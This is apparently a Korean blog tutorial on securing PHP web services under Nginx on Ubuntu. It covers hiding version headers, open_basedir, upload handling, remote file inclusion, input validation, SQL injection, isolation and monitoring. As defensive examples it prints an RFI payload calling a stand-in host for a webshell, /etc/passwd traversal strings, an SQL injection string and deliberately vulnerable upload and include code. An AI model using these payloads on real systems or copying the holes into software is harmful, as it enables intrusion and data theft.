Recommanded Free YOUTUBE Lecture: <% selectedImage[1] %>

Contents

보안 ! 복잡하고 어렵다. 하지만

기본적인 사항들만 신경쓰는 정도로 웹 서비스에 문제없는 수준에서 보안 목표를 달성할 수 있다. 서비스가 커지면 ? 그야 그때가 되면 벌어들이는 돈도 많을 테니, 전문 업체에 보안점검을 맡기거나 전문가의 도움을 받거나 하면 될일이다.

나는 PHP기반 웹 서비스를 위한 보안 조치 사항들을 몇 개의 범주로 나눠서 살펴볼 생각이다.

테스트 환경

  • Ubuntu 리눅스 14.04 Desktop 버전
  • Nginx
  • PHP

당신의 적이 알고 있는 것들

  1. XSS : Cross-site scripting 공격은 공격자가 사용자의 정보를 도용하기 위한 방법으로 악용할 수 있다.

서버 애플리케이션 정보

테스트를 위해서 nginx와 php5-fpm를 이용해서 웹 서비스를 만들었다. curl를 서버측의 응답 메시지를 분석했다.
# curl -I http://localhost
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 17 Jul 2014 14:45:02 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.3
응답 메시지를 통해서 운영체제(Ubuntu), 웹 서버(Nginx) 버전, PHP 버전정보를 획득할 수 있다. 이들 정보는 침입을 위한 기초 정보로 악용될 수 있으므로 반드시 숨기도록 하자.

Nginx의 경우 설정에 server_tokens off;를 추가하면 된다.
# cat /etc/nginx/nginx.conf
....

http {
     ##
     # Basic Settings
     ##

     sendfile on;
     tcp_nopush on;
     tcp_nodelay on;
     keepalive_timeout 65;
     types_hash_max_size 2048;
     ## 여기에 추가
     server_tokens off;    
}

nginx를 재 시작한 후 테스트를 했다.
# curl -I http://localhost
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Jul 2014 15:28:16 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.3
nginx 버전 정보가 나오지 않는다. 많은 공격들이 특정 버전의 취약점을 이용하기 때문에, 버전정보를 숨기는 것 만으로도 보안성을 높일 수 있다.

서버 정보까지 모두 바꾸고 싶다면 HttpHeadersMoreModule를 설치해야 한다. 인터넷을 검색해 보면 nginx를 재 컴파일 해야 한다고 나와 있는데, 우분투 리눅스라면 그럴 필요가 없다. 그냥 nginx-extras를 설치하면 된다.
# apt-get install nginx-extras

Server의 이름은 joinc-server 로 바꿨다.
# cat /etc/nginx/sites-available default
## 앞줄 생략
server {
        listen 80 default_server;
        listen [::]:80 default_server ipv6only=on;
        more_set_headers 'Server: joinc-server';

nginx를 재 시작하고 테스트
# curl -I http://localhost
HTTP/1.1 200 OK
Date: Thu, 17 Jul 2014 16:19:09 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Server: joinc-server
서버 이름이 바뀐걸 확인할 수 있다. HttpHeadersMoreModule에 대한 자세한 내용은 wiki.nginx.org 문서를 참고하자.

PHP 정보 숨기기

웹 서버 응답 정보를 다시 한번 보자.
# curl -I http://localhost
HTTP/1.1 200 OK
Date: Thu, 17 Jul 2014 16:33:32 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.3
Server: joinc-server
PHP 정보가 나오는게 맘에 들지 않는다. 역시 more_set_headers를 이용해서 바꿀 수 있다.
server {
        listen 80 default_server;
        listen [::]:80 default_server ipv6only=on;
        more_set_headers 'Server: joinc-server';
        more_set_headers 'X-Powered-By: joinc-script';

curl로 테스트
# curl -I http://localhost
HTTP/1.1 200 OK
Date: Thu, 17 Jul 2014 16:41:24 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: joinc-script
Server: joinc-server

쓸모없는 모듈 제거

실제 서비스와 관련없는 것들은 가능한 제거한다. 그게 포트든, 모듈이든 마찬가지다.
[PHP Modules]
apc
bcmath
bz2
calendar
Core
ctype
curl
date
dom
ereg
exif
sqlite3
standard
suhosin
tokenizer
wddx
xml
xmlreader
xmlrpc
xmlwriter

[Zend Modules]
Zend OPcache
이 서비스는 slite3가 필요 없다. 지워주거나 혹은 이름을 바꾸면 된다. 모듈은 /etc/php5/mods-available에서 찾을 수 있다.
# rm /etc/php5/mods-available/sqlite3.ini
# mv /etc/php5/mods-available/sqlite3.ini /etc/php5/mods-available/sqlite3.disable

PHP 에러 숨기기

PHP 에러가 방문자에게 보여서 좋을건 전혀 없다.
# cat /etc/php5/fpm/php.ini
## 앞부분 생략
display_errors = On
개발이나 QA에 배포 할 때는 On으로 하고 서비스에 배포할 때는 Off로 하면 되겠다.

open_basedir

/var/www 디렉토리 밑에 웹 서비스를 호스팅한다고 가정해보자.

fopen함수를 이용할 경우 /var/www 밑에 있는 파일을 비롯해서 모든 시스템 디렉토리의 파일에 접근할 수 있다.
$fp = fopen("/etc/passwd", "r");
if ($fp) {
  while(!feot($fp)) {
    $line = fread($fp, 1024);
    // ....
  }
} else {
  print_r(error_get_last());
}
/etc/passwd의 모든 내용을 출력한다.

개발자와 서비스 제공자가 동일 하다면 크게 문제될건 없다. 그러나 웹 호스팅을 할 경우 심각한 보안문제가 발생할 수 있겠다. 이 경우 open_basedir을 이용해서 파일제어가 가능한 디렉토리를 제한할 수 있다.
open_basedir = /var/www
이제 /var/www 디렉토리(하위 디렉토리 포함)이외의 경로에 있는 파일은 접근을 할 수 없다. 테스트코드를 다시 한번 실행해보자.
Array
(
    [type] => 2
    [message] => fopen(/etc/passwd): failed to open stream: Operation not permitted
    [file] => /var/www/moniwiki/download/open_basedir.php
    [line] => 2
)

파일 업로드

파일 업로드 서비스를 제공하지 않는다면, php.ini를 수정하는 걸로 파일 업로드를 막자.
file_uploads = Off
file_uploads은 사소한 문제가 있다. 옵션 값을 Off로 한후 php에서 파일 업로드 관련 작업을 하면 실패하는데, 왜 실패하는지 정확한 이유를 알려주지 않는다. 경우에 따라서는 짜증나는 상황이 연출될 수 있다.

값을 On으로 하면 파일 업로드를 서비스 할 수 있다. 파일 업로드기능을 서비스하기로 했다면, 신경써야 할 것들이 늘어난다. 테스트를 위해서 uplaod 서비스를 만들었다.

파일 선택 UI
# cat upload_test.html
<form enctype="multipart/form-data" action="/upload.php" method="POST">
  <input type="hidden" name="MAX_FILE_SIZE" value="30000">
  <div>
  <input name="userfile" type="file">
  </div>
  <input type="submit" value="파일 전송">
</form>

파일 업로드 스크립트
<?php
$uploaddir = "/var/www/test/download/";
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);

if ($rtv=move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "파일 업로드 성공";
} else {
  echo "파일 업로드 실패";
}

?>
test.php 파일을 upload 한후 test.php에 접근하면, 내용이 실행되는 걸 확인할 수 있다. 심각한 보안이슈가 되겠다.

문제를 해결하기 위한 가장 간단한 방법은 유저가 직접 접근하지 못하는 디렉토리에 파일을 업로드하게 하고, 다운로더를 이용해서만 파일을 다운로드 할 수 있게 하면 된다.

나는 "/var/file/test" 디렉토리를 만들어서 테스트 했다. 파일 업로드 스크립트를 약간 수정했다.
<?php
$uploaddir = "/var/file/test/";
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
if ($rtv=move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "파일 업로드 성공 $uploadfile";
} else {
  echo "파일 업로드 실패 $uploadfile<br>";
  print_r(error_get_last());
}
?>

다운로더 프로그램이다.
$file = '/var/file/test/scan.rb';

header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: '.filesize($file));
ob_clean();
flush();
readfile($file);
exit;
이 방법은 유저별로 파일을 격리하고 싶을 때, (유저 인증만 추가하면 된다)유용하게 사용할 수 있다.

원격 코드 실행 막기

php의 옵션인 allow_url_fopen을 on으로 하면, 원격에 있는 FTP나 웹 사이트의 데이터를 가져오거나 실행할 수 있다. allow_url_fopen을 허용할 경우 우려되는 보안 취약점은 다음과 같다.
  1. 허용한 서버가 RFI(Remote File Inclusion)취약점에 노출될 수 있다.
  2. 다른 사이트의 RFI 취약점을 공격하기 위한 중계지로 사용될 수 있다.
allow_url_fopen는 외부의 데이터를 가져오거나 실행하는 기능일 뿐으로, 이 옵션을 켜놓는다고 해서 그 자체가 보안 취약점이 된다고 볼 수는 없다. 위에 언급된 취약점의 근본적인 원인은 매개변수를 검사하지 않는 코드에 있다. 매개변수를 검사하지 않은 코드는 allow_url_fopen의 허용 여부에 상관없이 보안취약점을 가진다. 매개변수만 검사해준다면 allow_url_fopen에 상관없이 1번 취약점은 막을 수 있다.

예제

allow_url_fopen을 허용한 상태에서, 실제 어떤 문제가 생길 수 있는지 예상할 수 있는 코드다.
# cat rfi.php
<?php
  if(isset($_GET['COLOR'])) {
    require ($_GET['COLOR'].'.php');
  }
?>

# cat rfi_form.html
<form method="get" action="rfi.php">
  <select name="COLOR">
    <option value="red">Red</option>
    <option value="blue">Blue</option>
  </select>
  <input type="submit" value="확인">
</form>
</body>
</html>
rfi.php는 COLOR 매개변수의 값을 읽어서, 이 값을 이름으로 하는 php 파일을 include 한다. 개발자는 red.php와 blue.php를 include 할 거라고 예상하겠지만 COLOR 매개변수를 조작하는 것으로 간단하게, 다른 코드를 include할 수 있다.
  • /rfi.php?COLOR=http://evil.example.com/webshell.txt : 악성코드를 포함한 원격 파일을 include 시킬 수 있다.
  • /rfi.php?COLOR=/upload/exploit.php : php파일을 올린 다음, 이 php파일을 include해서 실행할 수 있다. 예를들어 include "/etc/passwd" 코드로 유저정보를 읽어올 수 있다.
  • /rfi.php?COLOR=/etc/passwd%00 : PHP는 NULL terminator를 만날 때까지만 문자를 읽는다. 결과적으로 NULL terminator뒤에 있는 .php가 제거되고 /etc/passwd 파일을 include하게 된다. 단 PHP 5.3.4이후로는 이 문제를 해결했다고 한다. 나는 PHP 5.5로 테스트를 했는데, /etc/passwd.php로 읽었다.

매개변수 검사

매개변수만 검사하는 것으로 많은 보안문제를 해결할 수 있다. 예컨데 파일 이름을 매개변수로 받는다면, 디렉토리를 검색하지 못하도록 정규표현식으로 걸러낼 수 있다.
  if(ereg("[^a-z0-9A-Z\.]+",$_GET['COLOR'])) {
    echo "Error\n";
  } else {
    echo "OK\n";
  }
모든 입력값에 대해서 그 형식에 적절한 검사를 해야 한다. 나이를 입력 받는다면, 0-9이외의 다른 값을 포함하는지, 특정 값을 초과하지 않는지(인간의 나이가 마이너스 이거나 200을 넘기진 않을테니)를 확인한다. 분모로 사용하는 값을 입력 받는다면, 값이 0인지 확인해야 한다. 오디오 파일에 대한 업로드 다운로드를 서비스 한다면, 확장자를 검사해애 한다.

매개변수 검사만 꼼꼼히 해주는 정도로 대부분의 SQL injection 공격을 무효화 할 수 있다. 신청자 ID인터넷 접수 번호를 입력하면 유저정보를 출력해주는 웹 서비스가 있다고 가정해보자.
<form method="post" action="userinfo.php">
신청자 아이디 : <input type="text" name="id"><br />
비밀 번호 : <input type="password" name="password"><br />
<input type="submit">
</form>

다음은 조회 코드다.
$row = mysql_query("SELECT 유저정보 from USER where 신청자아이디='{$_GET['id']}' and 비밀번호='{$_GET['password']}'");
if ($row == 1) {
  // 인증 확인
  // 유저 정보를 출력
} else {
  // 유저 인증 실패
}

신청자 아이디가 'test'인 유저가 비밀번호에 "A' OR 'A' = 'A'"를 입력하면, 다음과 같은 코드가 실행될 거다.
$row = mysql_query("SELECT 유저정보 from USER where 신청자아이디=$_GET['id'] and 비밀번호='A' OR 'A' = 'A');
신청자의 아이디만 일치한다면, 이 질의어는 무조건 성공한다.

Chroot를 이용해서 Apache/PHP 실행 환경을 격리

보안 문제는 터지기전에 가능성을 모두 조사해서 틀어 막는 것이 최선이라고 생각할 수 있겠다. 이론적으로는 그렇다. 돈과 시간과 기술이 충분하다면, 가능하다.

하지만 자원은 무한하지 않으니, 적절한 수준에서 타협해서 사용할 수 밖에 없다. 보안 장치에 대한 내 생각은 이렇다. "문제 터지기 전에 막는 건, 현재 당신의(혹은 회사의) 역량 내에서 할 수 있는 만큼해라. 문제는 늦게 터지든 빨리터지든 언젠가는 터진다. 1. 문제가 확산되지 않도록 시스템을 구성하고, 2. 문제가 터졌을 때 빠르게 확인할 수 있는 모니터링 시스템을 강화하라 !, 3. 복구 시스템을 갖춰라".

문제의 확산을 막는 가장 확실한 방법은 "시스템을 서로 격리하는 것" 이다. 가장 쉽게 생각할 수 있는 방법은 물리적인 장비를 분리하는 것이다. 이를테면, 하나의 서비스를 하나의 장비에서 서비스하게 하는 거다. 그럼 하나의 서비스가 털리더라도 그 영향은 그 서비스에 한정될 것이다. 적어도 시간은 벌 수 있다.

물리적인 방식으로 분리하는 확실하긴 하지만, 비용이 많이 든다. 이 경우 chroot를 이용해서, 하나의 시스템에서 여러 개의 서비스를 격리할 수 있다. 같은 이유로 FreeBSD jails, XEN 가상화, KVM 가상화, OpenVZ 가상화 혹은 docker 컨테이너등의 사용을 권장한다.

서비스를 시스템이나 VM 인스턴스 단위로 실행

어느정도 모양을 갖춘 웹 서비스라면 "데이터베이스", "static 컨텐츠", "동적 컨텐츠"로 구성이 될 것이다. 이들은 가능한 기능별로 독립된 서버 시스템이나 VM 인스턴스에서 실행하는게 좋다. 대략 아래와 같은 구성이 될 것이다.

기능 별로 다른 인스턴스로 실행하거나 아예 네트워크를 분리할 수도 있다. Nginx 서버로 static 사이트를 구축했다고 가정해보자. 이렇게 분리해 놓으면 해커가 Nginx에 침입해서 권한을 획득했다고 하더라도, Mysql 이나 PHP CGI서버를 직접 조작할 수가 없으므로, 보안 문제의 확산을 막거나 지연시킬 수 있다.
  1. static.joinc.co.kr : NginX로 구성했다. HTML, CSS, Javascript, 이미지 등의 정적 정보를 처리 한다. 동적 컨텐츠 요청은 phpcgi-i/phpcgi-2로 보내서 처리하게 한다.
  2. phpcgi-1/phpcgh-2.joinc.co.kr : PHP-fpm으로 구성한다.
  3. memch.joinc.co.kr : 캐쉬서비스를 위한 memcached 서버.

로그 모니터링 및 감사

apache log file
# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_log

배포판에 따라 다를 수 있겠는데, php는 에러로그 설정을 하지 않는 경우가 많다. php.ini를 열어서 error_log를 수정하면 된다.
error_log = /var/log/php_errors.log
phpinfo()로 에러로그 설정이 적용됬는지 확인할 수 있다. 이제 모니터링 하면 된다.

# tail -f /var/log/php_errors.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log

작동은 하지만 쓸만하진 않다. 사람이 24시간 눈으로 지켜 볼수는 없는 노릇이니까. Zabbix와 함께 사용하는 걸 추천한다. Zabbix는 로그를 모니터링 할 수 있는데, 정규표현을 이용해서 이벤트 알람을 발생할 수 있다.

보안 툴

phpsec

https://lh6.googleusercontent.com/-9rImvxIGaFA/U9iJE2MGgQI/AAAAAAAAEKs/bo6Qsl1Ajn0/s640/phpsec.png

PhpSecInfo는 PHP 환경의 보안정보를 보고하는 php기반 프로그램이다. phpinfo()의 보안버전이라고 할 만한 정보들을 보여준다. 이 도구는 보안과 관련된 실질적인 행위(파일을 감사하거나 유저 요청을 감시하거나 접근을 통제하는 등)를 하지는 않는다. 대신 보안환경을 개선하기 위한 다양한 정보를 제공한다. 다층 보안 환경을 만들기 위한 도구로 사용할 수 있다.

분석 결과는 "Pass", "Notice", "Warning"의 3단계의 경고 단계로 출력한다. 각 평가항목에 대한 세부 설명을 볼 수 있는 것도 맘에든다.

툴이 php로 개발됐기 때문에, 설치와 실행이 쉽다는 것이 장점이다. 그냥 DocumentRoot에 디렉토리 하나 만들어서 압축 풀어서 웹브라우저로 접근하면 된다.

BSD 라이센스다. 코드와 세부 평가항목을 한글화 해서 제공하면 꽤나 유용 할 것 같다. 귀찮아서 안될거야 아마.

WAF

PHP와는 관계없는 영역이지만 소개는 하는게 좋을 것 같다. WAF(Web application firewall)은 웹 애플리케이션에 특화된 방화벽이다. 흔히 웹방화벽이라고 부른다. XSS, SQL Injection, RFM(Remote file inclusion), LFM(Local file include)등을 모니터링/차단하기 위해서 사용한다. Apache ModSecurity, Nginx NAXSI 등이 있다. 간단히 설치할 수 있으니(Ubuntu의 경우 apt-get으로 원클릭 설치가 가능하다), 반드시 설치하도록 하자.

참고

  • http://wiki.nginx.org/HttpHeadersMoreModule
  • http://www.cyberciti.biz/tips/php-security-best-practices-tutorial.html
  • http://php.net/manual/en/security.php
  • https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet
  • http://en.wikipedia.org/wiki/Remote_File_Inclusion